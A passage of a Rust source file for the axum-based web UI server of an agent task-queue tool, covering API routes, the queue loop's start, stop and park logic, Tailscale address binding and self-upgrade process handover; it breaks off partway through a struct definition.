1use std::collections::{HashMap, HashSet};
94use std::convert::Infallible;
95use std::net::{IpAddr, Ipv4Addr, SocketAddr};
96use std::path::{Path as FsPath, PathBuf};
97use std::pin::Pin;
98use std::sync::{Arc, Mutex, MutexGuard, PoisonError};
99use std::time::Duration;
100use tokio::sync::Notify;
101
102use anyhow::{Context, Result};
103use axum::Json;
104use axum::Router;
105use axum::body::Bytes;
106use axum::extract::rejection::JsonRejection;
107use axum::extract::{DefaultBodyLimit, Path, Query, State};
108use axum::http::{HeaderMap, HeaderValue, StatusCode, header};
109use axum::response::sse::{Event, KeepAlive, Sse};
110use axum::response::{IntoResponse, Response};
111use axum::routing::{get, post, put};
112use jiff::Timestamp;
113use serde::{Deserialize, Serialize};
114use tokio_stream::StreamExt as _;
115use tokio_stream::wrappers::ReceiverStream;
116
117use crate::agent;
118use crate::ask::{self, Answer, Question, Questions};
119use crate::config::{AgentKind, Config, Update, UpdateMode};
120use crate::md;
121use crate::notices::{Notice, Notices};
122use crate::proc::Quiet as _;
123use crate::queue::{Queue, Source, Task, TaskStatus, title_from};
124use crate::run::{RunState, RunStatus};
125use crate::talk::{Talk, Talks};
126use crate::{daemon, git, report, repos, run, settings, stats, talk, updater};
127
128pub const DEFAULT_PORT: u16 = 7878;
130
131const POLL: Duration = Duration::from_secs(1);
133
134const KEEPALIVE: Duration = Duration::from_secs(15);
138
139const UPDATE_RECHECK_POLL_MAX: Duration = Duration::from_secs(15 * 60);
150
151const UPDATE_RECHECK_POLL_MIN: Duration = Duration::from_secs(30);
154
155const LIST_DEFAULT: usize = 50;
159const LIST_MAX: usize = 500;
161
162const TITLE_MAX: usize = 72;
164
165const ATTACHMENT_MAX_BYTES: usize = 10 * 1024 * 1024;
174
175const ATTACHMENT_MIME_WHITELIST: [&str; 4] = ["image/png", "image/jpeg", "image/gif", "image/webp"];
181
182const FILENAME_HEADER: &str = "x-filename";
186
187const PANEL_CSP: &str = "default-src 'none'; img-src 'self' data:; style-src 'unsafe-inline'; \
210 font-src data:; base-uri 'none'; form-action 'none'; \
211 frame-ancestors 'self'";
212
213const INDEX_HTML: &str = include_str!("../assets/ui/index.html");
214const APP_CSS: &str = include_str!("../assets/ui/app.css");
215const APP_JS: &str = include_str!("../assets/ui/app.js");
216
217#[derive(Debug, Clone, Copy, PartialEq, Eq)]
219pub enum Bind {
220 Auto,
222 Addr(IpAddr),
224}
225
226impl std::str::FromStr for Bind {
227 type Err = String;
228
229 fn from_str(s: &str) -> std::result::Result<Self, Self::Err> {
233 if s.eq_ignore_ascii_case("auto") {
234 return Ok(Self::Auto);
235 }
236 s.parse()
237 .map(Self::Addr)
238 .map_err(|_| format!("expected `auto` or an IP address, got `{s}`"))
239 }
240}
241
242impl std::fmt::Display for Bind {
243 fn fmt(&self, f: &mut std::fmt::Formatter<'_>) -> std::fmt::Result {
244 match self {
245 Self::Auto => f.write_str("auto"),
246 Self::Addr(addr) => write!(f, "{addr}"),
247 }
248 }
249}
250
251#[derive(Debug, Clone)]
253pub struct Opts {
254 pub bind: Bind,
256 pub port: u16,
258 pub repo: PathBuf,
260 pub open: bool,
263 pub merge: Option<String>,
271}
272
273impl Default for Opts {
274 fn default() -> Self {
275 Self {
276 bind: Bind::Auto,
277 port: DEFAULT_PORT,
278 repo: PathBuf::from("."),
279 open: false,
280 merge: None,
281 }
282 }
283}
284
285#[derive(Debug, Clone)]
291pub struct Ui {
292 queue: Queue,
293 questions: Questions,
294 notices: Notices,
297 talks: Talks,
298 runs: PathBuf,
299 home: PathBuf,
300 repo: PathBuf,
301 worktrees_root: PathBuf,
308 talk_turns: Arc<Mutex<TalkTurns>>,
316 resuming: Arc<Mutex<HashSet<String>>>,
324 repos_cache: repos::Cache,
328 machine_config: Option<PathBuf>,
332 merge: Option<String>,
334 looping: Arc<Mutex<LoopState>>,
336 launch: Launch,
348 #[cfg(test)]
351 busy_queue_gate: Arc<Mutex<Option<BusyQueueGate>>>,
352}
353
354#[cfg(test)]
374struct BusyQueueGate {
375 reached: tokio::sync::oneshot::Sender<()>,
376 release: std::sync::mpsc::Receiver<()>,
377}
378
379#[cfg(test)]
380impl std::fmt::Debug for BusyQueueGate {
381 fn fmt(&self, f: &mut std::fmt::Formatter<'_>) -> std::fmt::Result {
382 f.debug_struct("BusyQueueGate").finish_non_exhaustive()
383 }
384}
385
386impl Ui {
387 pub fn new(
389 queue: Queue,
390 questions: Questions,
391 talks: Talks,
392 runs: PathBuf,
393 home: PathBuf,
394 repo: PathBuf,
395 ) -> Self {
396 Self {
397 queue,
398 questions,
399 notices: Notices::at(home.join("notifications")),
400 talks,
401 runs,
402 home,
403 repo,
404 worktrees_root: run::default_worktree_root(),
408 talk_turns: Arc::default(),
409 resuming: Arc::default(),
410 repos_cache: repos::Cache::new(),
411 machine_config: Config::machine_layer(),
412 merge: None,
413 looping: Arc::default(),
414 launch: launch_daemon,
415 #[cfg(test)]
416 busy_queue_gate: Arc::default(),
417 }
418 }
419
420 pub fn open(repo: PathBuf) -> Self {
423 Self::new(
424 Queue::open(),
425 Questions::open(),
426 Talks::open(),
427 run::runs_root(),
428 run::home(),
429 repo,
430 )
431 }
432
433 #[must_use]
440 pub fn with_merge(mut self, merge: Option<String>) -> Self {
441 self.merge = merge;
442 self
443 }
444
445 #[cfg(test)]
448 #[must_use]
449 fn with_machine_config(mut self, path: Option<PathBuf>) -> Self {
450 self.machine_config = path;
451 self
452 }
453
454 #[must_use]
459 pub fn with_worktrees_root(mut self, root: PathBuf) -> Self {
460 self.worktrees_root = root;
461 self
462 }
463
464 #[cfg(test)]
469 #[must_use]
470 fn with_launch(mut self, launch: Launch) -> Self {
471 self.launch = launch;
472 self
473 }
474
475 #[cfg(test)]
485 fn set_busy_queue_gate(&self, gate: BusyQueueGate) {
486 *self
487 .busy_queue_gate
488 .lock()
489 .unwrap_or_else(PoisonError::into_inner) = Some(gate);
490 }
491
492 fn looping(&self) -> Arc<Mutex<LoopState>> {
494 Arc::clone(&self.looping)
495 }
496
497 fn start_loop(&self, foreign: Option<Foreign>) -> ApiResult<()> {
504 if let Some(other) = foreign {
505 return Err(ApiError::conflict(format!(
506 "{} is already running the loop, so this one will not start a \
507 second: two loops on one queue race for the same claims and \
508 burn the agent quota twice over. Stop it where it was \
509 started.",
510 other.who()
511 )));
512 }
513 let mut state = self.lock_loop();
514 if state.live.as_ref().is_some_and(Live::alive) {
515 return Err(ApiError::conflict(format!(
516 "this magi web process (pid {}) is already running the loop",
517 std::process::id()
518 )));
519 }
520
521 let stop = daemon::Stop::new();
522 let opts = daemon::Opts {
526 repo: self.repo.clone(),
527 merge: self.merge.clone(),
528 worktrees_root: Some(self.worktrees_root.clone()),
535 ..daemon::Opts::default()
536 };
537 let launch = self.launch;
538 let looping = Arc::clone(&self.looping);
539 let handle = tokio::spawn({
540 let opts = opts.clone();
541 let stop = stop.clone();
542 async move {
543 let failure = match launch(opts, stop).await {
544 Ok(()) => None,
545 Err(e) => Some(format!("{e:#}")),
546 };
547 match &failure {
548 Some(why) => tracing::error!("the loop stopped: {why}"),
549 None => tracing::info!("the loop stopped"),
550 }
551 let mut state = lock_or_recover(&looping);
557 state.live = None;
558 state.last_error = failure;
559 state.rev += 1;
560 }
561 });
562 tracing::info!(
563 "the loop is now running in this process: repo {}, merge {}",
564 opts.repo.display(),
565 opts.merge.as_deref().unwrap_or("as the config says")
566 );
567 state.live = Some(Live { stop, handle, opts });
568 state.last_error = None;
571 state.rev += 1;
572 Ok(())
573 }
574
575 fn stop_loop(&self, foreign: Option<Foreign>, park: bool) -> ApiResult<()> {
581 if let Some(other) = foreign {
582 return Err(ApiError::conflict(format!(
583 "the loop belongs to {}, and this process cannot stop it - \
584 stop it where it was started. A button that silently did \
585 nothing would be worse than this refusal.",
586 other.who()
587 )));
588 }
589 let mut state = self.lock_loop();
590 if !park {
593 state.resume_after_handover = false;
594 }
595 let Some(live) = state.live.as_ref() else {
596 return Ok(());
597 };
598 if live.stop.stopped() && (!park || live.stop.parking()) {
602 return Ok(());
603 }
604 if park {
605 live.stop.park();
606 tracing::info!("the loop was asked to park; the run stops at its next node boundary");
607 } else {
608 live.stop.stop();
609 tracing::info!("the loop was asked to stop; a run in flight is finished first");
610 }
611 state.rev += 1;
612 Ok(())
613 }
614
615 fn loop_view(&self, reading: Option<daemon::Reading>) -> LoopView {
622 let state = self.lock_loop();
623 let live = state.live.as_ref().filter(|live| live.alive());
626 LoopView {
627 running: live.is_some(),
628 stopping: live.is_some_and(|live| live.stop.finishing()),
629 parking: live.is_some_and(|live| live.stop.parking()),
630 owned: live.is_some(),
631 repo: live
632 .map_or(&self.repo, |live| &live.opts.repo)
633 .display()
634 .to_string(),
635 merge: live.map_or_else(|| self.merge.clone(), |live| live.opts.merge.clone()),
636 last_error: state.last_error.clone(),
637 daemon: DaemonView::of(reading),
638 }
639 }
640
641 fn resume_after_handover(&self, resume: bool) -> bool {
647 if !resume {
648 return false;
649 }
650 let foreign = Foreign::of(daemon::read_status(&self.home).as_ref());
651 match self.start_loop(foreign) {
652 Ok(()) => true,
653 Err(e) => {
654 let why = format!(
655 "the loop could not be resumed after the upgrade: {}",
656 e.message
657 );
658 tracing::warn!("{why}");
659 let mut state = self.lock_loop();
660 state.last_error = Some(why);
661 state.rev += 1;
662 false
663 }
664 }
665 }
666
667 fn lock_loop(&self) -> MutexGuard<'_, LoopState> {
669 lock_or_recover(&self.looping)
670 }
671
672 fn is_thinking(&self, id: &str) -> bool {
678 self.talk_turns
679 .lock()
680 .is_ok_and(|turns| turns.live.contains(id))
681 }
682
683 fn begin_talk_turn(&self, id: &str) -> ApiResult<Option<TalkTurnGuard>> {
702 self.claim_talk_turn(id, false)
703 }
704
705 fn begin_queued_talk_turn(&self, id: &str) -> ApiResult<Option<TalkTurnGuard>> {
708 self.claim_talk_turn(id, true)
709 }
710
711 fn claim_talk_turn(&self, id: &str, queued: bool) -> ApiResult<Option<TalkTurnGuard>> {
712 let mut live = self
713 .talk_turns
714 .lock()
715 .map_err(|_| ApiError::internal("the talk turn lock was poisoned"))?;
716 if !live.live.insert(id.to_owned()) {
717 if queued {
718 *live.queued.entry(id.to_owned()).or_default() += 1;
723 }
724 return Ok(None);
725 }
726 Ok(Some(TalkTurnGuard {
727 talk: id.to_owned(),
728 turns: Arc::clone(&self.talk_turns),
729 released: false,
730 }))
731 }
732
733 fn begin_talk_turn_unless_pending(&self, id: &str) -> ApiResult<TalkTurnStart> {
738 let mut live = self
739 .talk_turns
740 .lock()
741 .map_err(|_| ApiError::internal("the talk turn lock was poisoned"))?;
742 if live.live.contains(id) {
743 return Ok(TalkTurnStart::Busy);
744 }
745 let talk = self.talks.get(id).map_err(ApiError::from)?;
746 if !talk.pending.is_empty() || !talk.pending_attachments.is_empty() {
747 return Ok(TalkTurnStart::Pending);
748 }
749 live.live.insert(id.to_owned());
750 Ok(TalkTurnStart::Claimed(TalkTurnGuard {
751 talk: id.to_owned(),
752 turns: Arc::clone(&self.talk_turns),
753 released: false,
754 }))
755 }
756
757 fn park_for_upgrade(&self) -> ApiResult<Option<String>> {
764 let parking = {
765 let mut state = self.lock_loop();
766 let resume = state.resume_after_handover
776 || state
777 .live
778 .as_ref()
779 .is_some_and(|live| live.alive() && !live.stop.stopped());
780 state.resume_after_handover = resume;
781 let Some(live) = state.live.as_ref() else {
782 return Ok(None);
783 };
784 let busy = live.stop.busy_now();
785 live.stop.park();
786 state.rev += 1;
787 busy
788 };
789 Ok(if parking {
790 daemon::current_work(&self.home, jiff::Timestamp::now())
795 .into_iter()
796 .next()
797 .map(|c| c.run)
798 } else {
799 None
800 })
801 }
802
803 fn begin_resume(&self, id: &str) -> ApiResult<ResumeGuard> {
807 let mut live = self
808 .resuming
809 .lock()
810 .map_err(|_| ApiError::internal("the resume lock was poisoned"))?;
811 if !live.insert(id.to_owned()) {
812 return Err(ApiError::conflict(format!(
813 "run {id} is already being resumed"
814 )));
815 }
816 Ok(ResumeGuard {
817 run: id.to_owned(),
818 resuming: Arc::clone(&self.resuming),
819 })
820 }
821
822 pub fn router(self) -> Router {
830 Router::new()
831 .route("/", get(index))
832 .route("/app.css", get(app_css))
833 .route("/app.js", get(app_js))
834 .route("/api/health", get(health))
835 .route("/api/loop", get(loop_get).post(loop_post))
836 .route("/api/upgrade", post(upgrade_post))
837 .route("/api/runs", get(runs_list))
838 .route("/api/runs/{id}", get(run_detail).delete(run_delete))
839 .route("/api/runs/{id}/report", get(run_report))
840 .route("/api/runs/{id}/fold", post(run_fold))
841 .route("/api/runs/{id}/fold-merged", post(run_fold_merged))
842 .route("/api/runs/{id}/resume", post(run_resume))
843 .route("/api/queue", get(queue_list))
844 .route("/api/search", get(search_get))
845 .route("/api/queue/{id}", get(task_detail).delete(queue_delete))
846 .route("/api/stats", get(stats_get))
847 .route("/api/repos", get(repos_list))
848 .route("/api/settings", get(settings_get))
849 .route("/api/settings/roles", put(settings_put_roles))
850 .route("/api/queue/{id}/hold", post(queue_hold))
851 .route("/api/queue/{id}/release", post(queue_release))
852 .route("/api/queue/{id}/priority", post(queue_priority))
853 .route("/api/queue/{id}/edit", post(queue_edit))
854 .route("/api/queue/{id}/done", post(queue_done))
855 .route("/api/questions", get(questions_list))
856 .route("/api/questions/{id}/answer", post(question_answer))
857 .route("/api/questions/{id}/say", post(question_say))
858 .route("/api/questions/{id}/panel", get(question_panel))
859 .route("/api/questions/{id}/panel/index.html", get(question_panel))
867 .route("/api/questions/{id}/panel/{name}", get(question_asset))
868 .route("/api/questions/{id}/asset/{name}", get(question_asset))
869 .route("/api/notifications", get(notifications_list))
870 .route("/api/notifications/read-all", post(notifications_read_all))
871 .route("/api/notifications/{id}/read", post(notification_read))
872 .route(
873 "/api/notifications/{id}/dismiss",
874 post(notification_dismiss),
875 )
876 .route("/api/talks", get(talks_list).post(talk_post))
877 .route("/api/talks/{id}", get(talk_detail).delete(talk_delete))
878 .route("/api/talks/{id}/say", post(talk_say))
879 .route("/api/talks/{id}/pending/resume", post(talk_pending_resume))
880 .route("/api/talks/{id}/pending/clear", post(talk_pending_clear))
881 .route("/api/talks/{id}/pending/edit", post(talk_pending_edit))
882 .route("/api/talks/{id}/agent", post(talk_agent))
883 .route("/api/talks/{id}/close", post(talk_close))
884 .route("/api/talks/{id}/reopen", post(talk_reopen))
885 .route(
891 "/api/talks/{id}/attachments",
892 post(talk_attachment_post).layer(DefaultBodyLimit::max(ATTACHMENT_MAX_BYTES + 1)),
893 )
894 .route(
895 "/api/talks/{id}/attachments/{att}",
896 get(talk_attachment_get),
897 )
898 .route("/api/events", get(events))
899 .with_state(Arc::new(self))
900 }
901}
902
903#[derive(Debug)]
909struct TalkTurnGuard {
910 talk: String,
911 turns: Arc<Mutex<TalkTurns>>,
912 released: bool,
913}
914
915#[derive(Debug, Default)]
922struct TalkTurns {
923 live: HashSet<String>,
924 queued: HashMap<String, u64>,
925}
926
927enum TalkTurnStart {
930 Claimed(TalkTurnGuard),
931 Busy,
932 Pending,
933}
934
935impl TalkTurnGuard {
936 fn release(mut self, live: &mut TalkTurns) {
939 live.live.remove(&self.talk);
940 live.queued.remove(&self.talk);
941 self.released = true;
942 }
943}
944
945impl Drop for TalkTurnGuard {
946 fn drop(&mut self) {
947 if self.released {
948 return;
949 }
950 if let Ok(mut live) = self.turns.lock() {
951 live.live.remove(&self.talk);
952 live.queued.remove(&self.talk);
953 }
954 }
955}
956
957struct ResumeGuard {
959 run: String,
960 resuming: Arc<Mutex<HashSet<String>>>,
961}
962
963impl Drop for ResumeGuard {
964 fn drop(&mut self) {
965 if let Ok(mut live) = self.resuming.lock() {
966 live.remove(&self.run);
967 }
968 }
969}
970
971async fn bind_waiting(socket: SocketAddr) -> Result<tokio::net::TcpListener> {
981 const WINDOW: Duration = Duration::from_secs(10);
982 const GAP: Duration = Duration::from_millis(250);
983
984 let deadline = std::time::Instant::now() + WINDOW;
985 let mut said = false;
986 loop {
987 match tokio::net::TcpListener::bind(socket).await {
988 Ok(listener) => return Ok(listener),
989 Err(e)
990 if e.kind() == std::io::ErrorKind::AddrInUse
991 && std::time::Instant::now() < deadline =>
992 {
993 if !said {
994 said = true;
995 tracing::info!(
996 "{socket} is still held - waiting up to {}s for it, \
997 which is what a restart looks like from here",
998 WINDOW.as_secs()
999 );
1000 }
1001 tokio::time::sleep(GAP).await;
1002 }
1003 Err(e) => return Err(e).with_context(|| format!("bind {socket}")),
1004 }
1005 }
1006}
1007
1008static HANDOVER: std::sync::LazyLock<Notify> = std::sync::LazyLock::new(Notify::new);
1011
1012const RESUME_LOOP_ENV: &str = "MAGI_WEB_RESUME_LOOP";
1014
1015fn resume_requested(value: Option<std::ffi::OsString>) -> bool {
1017 value.is_some_and(|v| v == "1")
1018}
1019
1020fn spawn_successor(resume: bool) -> Result<()> {
1038 let exe = std::env::current_exe().context("find this binary")?;
1039 let args: Vec<String> = std::env::args().skip(1).collect();
1040 tracing::info!("restarting: {} {}", exe.display(), args.join(" "));
1041
1042 let mut cmd = std::process::Command::new(&exe);
1043 if resume {
1044 cmd.env(RESUME_LOOP_ENV, "1");
1045 } else {
1046 cmd.env_remove(RESUME_LOOP_ENV);
1047 }
1048 cmd.args(&args)
1049 .stdin(std::process::Stdio::null())
1050 .stdout(std::process::Stdio::null())
1051 .stderr(std::process::Stdio::null());
1052 #[cfg(windows)]
1053 {
1054 use std::os::windows::process::CommandExt as _;
1055 cmd.creation_flags(0x0000_0008 | 0x0000_0200);
1058 }
1059 cmd.spawn().context("start the successor")?;
1060 Ok(())
1061}
1062
1063pub async fn serve(opts: Opts) -> Result<()> {
1088 let (addr, warning) = resolve_bind(&opts.bind);
1089 if let Some(warning) = warning {
1090 tracing::warn!("{warning}");
1091 }
1092
1093 report::set_color(false);
1099
1100 let repo = normalize_default_repo(opts.repo).await;
1101 let ui = Ui::open(repo).with_merge(opts.merge);
1102 let home = ui.home.clone();
1107 let repo = ui.repo.clone();
1108 updater::reconcile_after_restart(&home);
1113 tokio::spawn(run_update_recheck(repo, home.clone()));
1122 let looping = ui.looping();
1123 let socket = SocketAddr::new(addr, opts.port);
1124 let listener = bind_waiting(socket).await?;
1125 let url = format!("http://{addr}:{}", opts.port);
1126 tracing::info!(
1127 "magi web UI on {url} - there is no authentication, so anyone who can \
1128 reach this address can file and hold tasks: the tailnet is the \
1129 security boundary"
1130 );
1131 if ui.resume_after_handover(resume_requested(std::env::var_os(RESUME_LOOP_ENV))) {
1132 tracing::info!("resumed the loop the predecessor was running");
1133 } else {
1134 tracing::info!(
1135 "the queue loop is not running yet - start it from the UI, which is \
1136 the whole reason this process can: nothing in the queue moves until \
1137 something is running the loop"
1138 );
1139 }
1140 if opts.open {
1141 println!("{url}");
1145 }
1146
1147 let mut served = tokio::spawn(axum::serve(listener, ui.router()).into_future());
1150 let interrupted = async {
1151 if tokio::signal::ctrl_c().await.is_err() {
1152 std::future::pending::<()>().await;
1157 }
1158 };
1159 let handover = HANDOVER.notified();
1160 tokio::select! {
1161 joined = &mut served => match joined {
1162 Ok(outcome) => outcome.context("serve the web UI"),
1163 Err(e) => Err(e).context("the task serving the web UI ended"),
1164 },
1165 () = interrupted => {
1166 tracing::info!("shutting down the web UI");
1167 finish_loop(&looping).await;
1168 Ok(())
1169 }
1170 () = handover => {
1171 tracing::info!("upgraded - handing this address to the successor");
1172 hand_over(&home, &looping, served, spawn_successor).await
1173 }
1174 }
1175}
1176
1177async fn normalize_default_repo(repo: PathBuf) -> PathBuf {
1198 if repo != FsPath::new(".") {
1199 return repo;
1200 }
1201 let Ok(canonical) = repo.canonicalize() else {
1202 return repo;
1203 };
1204 if git::toplevel(&canonical).await.is_ok() {
1205 return repo;
1206 }
1207 let Some(home) = dirs::home_dir() else {
1208 return repo;
1209 };
1210 match repos::discover_verified(&home, &[], None, updater::repo_name()).await {
1211 Some(found) => {
1212 tracing::info!(
1213 "the default --repo `.` ({}) is not a git checkout; using {} instead - {}",
1214 canonical.display(),
1215 found.path.display(),
1216 found.reason,
1217 );
1218 found.path
1219 }
1220 None => repo,
1221 }
1222}
1223
1224async fn hand_over(
1254 home: &FsPath,
1255 looping: &Mutex<LoopState>,
1256 served: tokio::task::JoinHandle<std::io::Result<()>>,
1257 successor: impl FnOnce(bool) -> Result<()>,
1258) -> Result<()> {
1259 if let Some(mut progress) = updater::read_progress(home) {
1260 progress.advance(updater::Stage::Parking);
1261 let _ = updater::write_progress(home, &progress);
1262 }
1263 finish_loop(looping).await;
1264 served.abort();
1265 let _ = served.await;
1266 let resume = lock_or_recover(looping).resume_after_handover;
1269 if let Some(mut progress) = updater::read_progress(home) {
1270 progress.advance(updater::Stage::Restarting);
1271 let _ = updater::write_progress(home, &progress);
1272 }
1273 successor(resume)
1274}
1275
1276async fn finish_loop(state: &Mutex<LoopState>) {
1283 let live = lock_or_recover(state).live.take();
1284 let Some(live) = live else { return };
1285 live.stop.stop();
1286 lock_or_recover(state).rev += 1;
1287 tracing::info!("waiting for the loop to finish the run in flight");
1288 let _ = live.handle.await;
1291}
1292
1293pub fn resolve_bind(bind: &Bind) -> (IpAddr, Option<String>) {
1299 match bind {
1300 Bind::Addr(addr) => (*addr, None),
1301 Bind::Auto => match tailscale_ip() {
1302 Ok(ip) => (IpAddr::V4(ip), None),
1303 Err(why) => (
1304 IpAddr::V4(Ipv4Addr::LOCALHOST),
1305 Some(format!(
1306 "--bind auto fell back to 127.0.0.1: {why}. The UI is \
1307 local-only and a phone cannot reach it; start Tailscale \
1308 or pass --bind <addr>"
1309 )),
1310 ),
1311 },
1312 }
1313}
1314
1315fn tailscale_ip() -> std::result::Result<Ipv4Addr, String> {
1323 let out = std::process::Command::new("tailscale")
1324 .args(["ip", "-4"])
1325 .quiet()
1326 .output()
1327 .map_err(|e| format!("could not run `tailscale ip -4` ({e})"))?;
1328 if !out.status.success() {
1329 let why = String::from_utf8_lossy(&out.stderr);
1330 let why = why.trim();
1331 return Err(format!(
1332 "`tailscale ip -4` failed ({}){}",
1333 out.status,
1334 if why.is_empty() {
1335 String::new()
1336 } else {
1337 format!(": {why}")
1338 }
1339 ));
1340 }
1341 String::from_utf8_lossy(&out.stdout)
1342 .lines()
1343 .filter_map(|line| line.trim().parse::<Ipv4Addr>().ok())
1344 .find(is_tailnet)
1345 .ok_or_else(|| "`tailscale ip -4` printed no address in 100.64.0.0/10".to_owned())
1346}
1347
1348fn is_tailnet(ip: &Ipv4Addr) -> bool {
1350 let o = ip.octets();
1351 o[0] == 100 && (64..=127).contains(&o[1])
1352}
1353
1354type ApiResult<T> = std::result::Result<T, ApiError>;
1358
1359#[derive(Debug)]
1361struct ApiError {
1362 status: StatusCode,
1363 message: String,
1364}
1365
1366impl ApiError {
1367 fn bad_request(message: impl Into<String>) -> Self {
1369 Self {
1370 status: StatusCode::BAD_REQUEST,
1371 message: message.into(),
1372 }
1373 }
1374
1375 fn not_found(message: impl Into<String>) -> Self {
1377 Self {
1378 status: StatusCode::NOT_FOUND,
1379 message: message.into(),
1380 }
1381 }
1382
1383 fn with_status(mut self, status: StatusCode) -> Self {
1386 self.status = status;
1387 self
1388 }
1389
1390 fn bad_request_from(e: anyhow::Error) -> Self {
1394 Self::bad_request(format!("{e:#}"))
1395 }
1396
1397 fn conflict(message: impl Into<String>) -> Self {
1398 Self {
1399 status: StatusCode::CONFLICT,
1400 message: message.into(),
1401 }
1402 }
1403
1404 fn internal(message: impl Into<String>) -> Self {
1406 Self {
1407 status: StatusCode::INTERNAL_SERVER_ERROR,
1408 message: message.into(),
1409 }
1410 }
1411}
1412
1413impl From<anyhow::Error> for ApiError {
1414 fn from(e: anyhow::Error) -> Self {
1419 Self::internal(format!("{e:#}"))
1420 }
1421}
1422
1423impl IntoResponse for ApiError {
1424 fn into_response(self) -> Response {
1425 let body = serde_json::json!({ "error": self.message });
1426 (self.status, Json(body)).into_response()
1427 }
1428}
1429
1430async fn blocking<T>(job: impl FnOnce() -> ApiResult<T> + Send + 'static) -> ApiResult<T>
1439where
1440 T: Send + 'static,
1441{
1442 match tokio::task::spawn_blocking(job).await {
1443 Ok(result) => result,
1444 Err(e) => Err(ApiError::internal(format!("filesystem task failed: {e}"))),
1445 }
1446}
1447
1448const ASSET_CACHE: &str = "no-cache, must-revalidate";
1466
1467fn asset_etag() -> &'static str {
1474 static TAG: std::sync::LazyLock<String> = std::sync::LazyLock::new(|| {
1475 format!(
1476 "\"{}-{}\"",
1477 env!("CARGO_PKG_VERSION"),
1478 INDEX_HTML.len() + APP_CSS.len() + APP_JS.len()
1483 )
1484 });
1485 &TAG
1486}
1487
1488fn asset_headers(mime: &'static str) -> [(header::HeaderName, &'static str); 3] {
1490 [
1491 (header::CONTENT_TYPE, mime),
1492 (header::CACHE_CONTROL, ASSET_CACHE),
1493 (header::ETAG, asset_etag()),
1494 ]
1495}
1496
1497fn asset(headers: &header::HeaderMap, mime: &'static str, body: &'static str) -> Response {
1505 let tag = asset_etag();
1506 let known = headers
1507 .get(header::IF_NONE_MATCH)
1508 .and_then(|v| v.to_str().ok())
1509 .is_some_and(|sent| sent.split(',').any(|one| one.trim().ends_with(tag)));
1513 if known {
1514 return (StatusCode::NOT_MODIFIED, asset_headers(mime)).into_response();
1515 }
1516 (asset_headers(mime), body).into_response()
1517}
1518
1519async fn index(headers: header::HeaderMap) -> Response {
1520 asset(&headers, "text/html; charset=utf-8", INDEX_HTML)
1521}
1522
1523async fn app_css(headers: header::HeaderMap) -> Response {
1524 asset(&headers, "text/css; charset=utf-8", APP_CSS)
1525}
1526
1527async fn app_js(headers: header::HeaderMap) -> Response {
1528 asset(&headers, "text/javascript; charset=utf-8", APP_JS)
1529}
1530
1531#[derive(Debug, Serialize)]
1533struct HealthView {
1534 version: &'static str,
1535 home: String,
1536 queue_rev: u64,
1537 runs_rev: u64,
1538 questions_rev: u64,
1550 talks_rev: u64,
1552 notifications_rev: u64,
1554 notifications_unread: usize,
1557 loop_rev: u64,
1562 runs_unreadable: usize,
1570 disk: DiskView,
1578 questions_open: usize,
1584 questions_needs_owner: usize,
1594 daemon: DaemonView,
1595 #[serde(rename = "loop")]
1601 looping: LoopView,
1602 update: UpdateView,
1609 upgrade: Option<UpgradeProgressView>,
1613}
1614
1615#[derive(Debug, Serialize)]
1622struct UpdateView {
1623 available: bool,
1625 to: Option<String>,
1627}
1628
1629#[derive(Debug, Serialize)]
1631struct UpgradeProgressView {
1632 stage: updater::Stage,
1633 from: String,
1634 to: Option<String>,
1635 waiting_on: Option<String>,
1638 started_at: Timestamp,
1639 updated_at: Timestamp,
1640 detail: Option<String>,
1641}
1642
1643fn should_spawn_recheck(cfg: &Update) -> bool {
1650 cfg.mode != UpdateMode::Off && !updater::disabled_by_env()
1651}
1652
1653fn update_recheck_due(checker: &updater::Checker, progress: Option<&updater::Progress>) -> bool {
1665 if progress.is_some_and(|p| !p.stage.terminal()) {
1666 return false;
1667 }
1668 checker.should_check()
1669}
1670
1671fn recheck_poll_period(cfg: &Update) -> Duration {
1684 (updater::effective_interval(cfg) / 8).clamp(UPDATE_RECHECK_POLL_MIN, UPDATE_RECHECK_POLL_MAX)
1685}
1686
1687async fn run_update_recheck(repo: PathBuf, home: PathBuf) {
1711 loop {
1712 let (cfg, _) = Config::discover(&repo, None).unwrap_or_default();
1713 tokio::time::sleep(recheck_poll_period(&cfg.update)).await;
1714 if !should_spawn_recheck(&cfg.update) {
1715 continue;
1716 }
1717 let Some(checker) = updater::Checker::new(&cfg.update) else {
1718 continue;
1719 };
1720 let progress = updater::read_progress(&home);
1721 if !update_recheck_due(&checker, progress.as_ref()) {
1722 continue;
1723 }
1724 if let Err(e) = checker.newer_release().await {
1725 tracing::warn!("background update recheck failed: {e:#}");
1726 }
1727 }
1728}
1729
1730fn cached_update_view(repo: &FsPath) -> UpdateView {
1736 let (cfg, _) = Config::discover(repo, None).unwrap_or_default();
1737 let latest = updater::Checker::new(&cfg.update).and_then(|c| c.cached_update());
1738 match latest {
1739 Some(latest) => UpdateView {
1740 available: true,
1741 to: Some(latest.tag_name),
1742 },
1743 None => UpdateView {
1744 available: false,
1745 to: None,
1746 },
1747 }
1748}
1749
1750fn upgrade_progress_view(ui: &Ui, progress: updater::Progress) -> UpgradeProgressView {
1756 let waiting_on = (progress.stage == updater::Stage::Parking)
1757 .then_some(progress.parked_run.as_deref())
1758 .flatten()
1759 .and_then(|id| read_run(&ui.runs, id).ok())
1760 .map(|run| {
1761 format!(
1762 "run {} is finishing {} before the address is handed over",
1763 run.short(),
1764 run.status.as_str()
1765 )
1766 });
1767 UpgradeProgressView {
1768 stage: progress.stage,
1769 from: progress.from,
1770 to: progress.to,
1771 waiting_on,
1772 started_at: progress.started_at,
1773 updated_at: progress.updated_at,
1774 detail: progress.detail,
1775 }
1776}
1777
1778#[derive(Debug, Serialize)]
1783struct DiskView {
1784 #[serde(skip_serializing_if = "Option::is_none")]
1786 free_bytes: Option<u64>,
1787 runs_bytes: u64,
1789 worktrees_bytes: u64,
1791 #[serde(skip_serializing_if = "Option::is_none")]
1793 cache_bytes: Option<u64>,
1794}
1795
1796impl DiskView {
1797 fn of(ui: &Ui) -> Self {
1799 let cache_bytes = Config::discover(&ui.repo, None)
1800 .ok()
1801 .and_then(|(cfg, _)| cfg.cache_dir())
1802 .map(|dir| crate::disk::dir_size(&dir));
1803 Self {
1804 free_bytes: crate::disk::free_bytes(&ui.runs).ok(),
1805 runs_bytes: crate::disk::dir_size(&ui.runs),
1806 worktrees_bytes: crate::disk::dir_size(&ui.worktrees_root),
1807 cache_bytes,
1808 }
1809 }
1810}
1811
1812#[derive(Debug, Serialize)]
1814struct DaemonView {
1815 running: bool,
1816 idle: Option<bool>,
1817 pid: Option<u32>,
